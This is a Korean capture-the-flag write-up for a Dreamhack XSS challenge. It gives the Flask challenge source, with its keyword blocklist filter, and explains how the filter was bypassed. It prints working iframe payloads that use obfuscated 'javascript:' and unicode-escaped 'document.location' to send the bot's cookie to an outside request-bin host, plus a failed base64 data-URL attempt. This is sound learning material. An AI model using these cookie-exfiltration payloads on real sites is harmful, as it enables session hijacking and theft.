#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
루트 경로('/') 에 접속 했을 때의 동작을 나타낸다.
index.html
파일을 렌더링해준다.
'/vuln' 경로에 접속 했을 때의 동작을 나타낸다.
param = request.args.get("param", "")
는 GET parameter를 가져오고 그 값을 param에 저장하는 코드이고, 만약 param 값이 없을 시 2번째 인자(null)을 저장한다.
예를 들어, 주소가 http://host3.dreamhack.games:Randomport/vuln?param=<img%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>
일 시 <img%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>
값을 param 변수에 저장시킨다.
xss_filter 함수는 script
, on
, javascript
와 window
, self
, this
, document
, location
, (
, )
, &#
중에 하나라도 인자로 받은 param
변수가 포함하고 있을 시 "filtered!!!"를 반환한다.
또한, lower함수를 이용해 모두 소문자로 검사하기 때문에 대문자를 이용한 우회는 통하지 않는다.
'/flag' 경로에 접속 했을 때의 동작을 나타낸다.
GET
요청을 보냈으면 flag.html
파일을 렌더링한다.
POST
요청을 보냈으면 먼저 param
이라는 데이터가 있는 form에서 값을 가져오고 저장하고, param
과 {"name": "flag", "value": FLAG.strip()}
를 매개변수로 check_xss를 실행하고, 그 값이 false일 경우 alert("wrong??")을 실행한다. 여기서, FLAG.strip()
은 코드 첫 부분에서 가져온 실제 FLAG의 값이다.
check_xss
함수에서 param
과 cookie
를 매개변수로 받는데 param
에는 윗부분에서 매개변수로 준 param
이 그대로 오고, cookie
또한 위에서 매개변수로 준 {"name":"flag", "value":플래그 값}
의 데이터를 json 형식으로 가져온다.
그리고, 이 두 개의 값을 매개변수로 read_url(url, cookie)
를 실행한다.
read_url
함수는 python의 Selenium
을 이용하여 웹 브라우저를 열고 url을 읽는데, 이때 cookie
가 아까 올려둔 FLAG
값으로 설정된다.
여기서 만약 url을 읽어오는데 만약 에러가 날 시 False를 반환해서, alert("wrong")
이 출력된다.
'/memo' 경로에 접속 했을 때의 동작을 나타낸다.
memo_text
변수를 전역 변수로 선언 후, request.args.get("memo", "")
부분에서 memo 파라미터의 값을 가져오고, 그 값에 줄바꿈('\n')을 더해 저장한다.
'/memo'에 접속할 때마다 지금까지 저장된 메모들을 보여준다.
'/'에 연결되어있는 memo링크는 memo?memo=hello
로 연결되어 있어서, 접속 시 hello라는 메모가 자동으로 추가된다.
먼저, 우리의 목적은 /flag
에서 FLAG
값을 가지고 있고, 쿠키로 저장시키므로, /flag
에서 xss 취약점을 이용해 cookie 값을 출력하는 것이다.
memo
에 FLAG
값을 남기는 방식과, Dreamhack Tools를 이용해 요청 값을 확인하는 방법 중에서, 두 번째 방법인 Dreamhack Tools를 이용할 것이다.
먼저 javascript가 실행돼야 뭐라도 할 수 있다.
다른 방법도 있을 수 있지만, 내가 사용한 방법은 URL의 정규화(Normalization)
를 이용한 javascript:
스키마 우회이다.
<iframe src="javascript:alert('javascript failed..')"/>
<!--'javascript'가 필터링됨->
<iframe src="\1\4javascr\tipt:alert('javascript failed..')"/>
<!--정규화 표현을 했지만, 이렇게 말고 변환해서 넣어야함.->
<iframe src="javascr ipt:alert('javascript succes!')"/>
<!--이렇게 될 시 'javascript', 'script' 필터링에 걸리지 않지만 javascript 코드를 실행할 수 있음,->
우선 javascript가 실행됐으니, 이제 핵심 부분인 쿠키를 출력하는 부분만 하면 된다.
document.location.href
와 document.cookie
를 이용해 cookie를 남길 건데, document
와 location
이 필터링된다.
이 부분은 여러 우회방법이 있겠지만, 유니코드 방식을 이용하면
\u0064ocument.locati\u006f\u006e.href
이처럼 변환할 수 있는데 d
가 \u0064
로, location의 on
이 \u006f\u006e
로 바꿔서 우회할 수 있다.
\u0064ocument.locati\u006f\u006e.href='URL' + \u0064ocument.cookie;
위의 두 개의 코드를 합치면 아래와 같이 만들 수 있다.
<iframe src="javascr ipt:\u0064ocument.locati\u006f\u006e.href = 'http://RANDOM.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/>
이 코드를 '/flag'
에 들어가서 form에 입력하고, Dreamhack Tools의 Request bin을 보면 FLAG
값이 잘 나와있다.
<iframe src = data:text/html;base64,data>
처음엔, <iframe src = data:text/html;base64>
의 뒷부분에 base64
로 인코드된 코드를 넣으면 script가 먹히길래 거의 다 해결한 줄 알았다.
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSSB3YW50IHRvIGdvIGhvbWUiKTs8L3NjcmlwdD4=">
<!--'<script>alert("I want to go home");</script>'-->
그리고, document.cookie
를 테스트 해보려는데, 값이 계속 안 나왔다.
<iframe src="data:text/html;base64,PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL2hvc3QzLmRyZWFtaGFjay5nYW1lczoxMTU4NS9tZW1vP21lbW89Jytkb2N1bWVudC5jb29raWU8L3NjcmlwdD4=">
<!--<script>document.location='http://host3.dreamhack.games:23321/memo?memo='+document.cookie</script>-->
계속 안 나와서 관리자 도구를 확인해보니깐 이런 에러가 나왔다.
Uncaught DOMException: Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs.
조금 찾아보고, 다른 것도 시도해 보았는데 iframe
태그 내부에서 열려서 origin
이 null
로 설정되는데, 이 때문에 SOF(Same Origin Policy)
에 막혀서 웹 사이트의 쿠키를 가져올 수 없었다.
iframe 밖의, 즉 원래 웹 사이트의 쿠키를 가져오기 위해 document.domain
을 직접 수정하여 우회해보려 하였지만, 둘의 내용이 너무 달라 직접 수정도 못했고, 결국 이 방법은 포기했다.
위의 방법이 실패하고, 그럼 좀 더 쉬운 방법으로 가보자해서 javascript:
스키마를 시도해 보기로 하였고, 정규화 관련 내용을 보고 시도해 보았다.
근데 아무리 해도 안됐는데, \1과\4를 가 아니라
\1\4
의 형태로 쓰고, tap도
이 아니라 \t
를 사용한 게 하나의 문제고 filtered!!
가 나올 때 필터링하는게 javascript
도 있지만, on
, (
, )
등도 있단 걸 까먹었다.
결국, 내가 html파일을 직접 만들어서 거기서 iframe
태그를 연습하면서 어떻게 해야 적용되는지 봐보고, 필터링 되는 문자만 추가로 유니코드 변환 등을 해주었다.
이때, location
을 처음엔 \u006cocation
로 바꿨는데, 이것만으로 우회가 충분한 줄 알았지만 location
은 on
을 포함하고 있는 걸 깜빡했다.
그 후, locati\u006f\u006e
로 수정 후 요청을 보내니 값이 나왔고, 해결할 수 있었다.
어려웠지만, 그만큼 재밌었던 문제인 것 같다.
그리고, XSS
에 대해, 그리고 여러 우회기법들을 정말 많이 검색하고 시도해 보면서 느낀 점과 새로 알게된 점이 매우 많다.
또한, ifame 관련 부분 을 공부할 때, SOP
와 CORS
에 대해 더욱 깊게 알게 되었다.
이렇게 빙 돌아올 문제는 아니였던 것 같지만, 그 과정에서 얻게된 지식이 많기에 매우 만족스럽다 ㅎㅎ